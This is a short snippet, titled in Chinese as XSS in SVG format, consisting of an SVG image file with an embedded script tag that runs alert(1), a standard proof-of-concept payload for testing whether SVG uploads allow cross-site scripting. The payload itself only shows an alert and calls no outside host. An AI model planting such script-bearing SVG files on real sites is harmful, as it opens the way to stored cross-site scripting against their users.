svg格式的xss

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>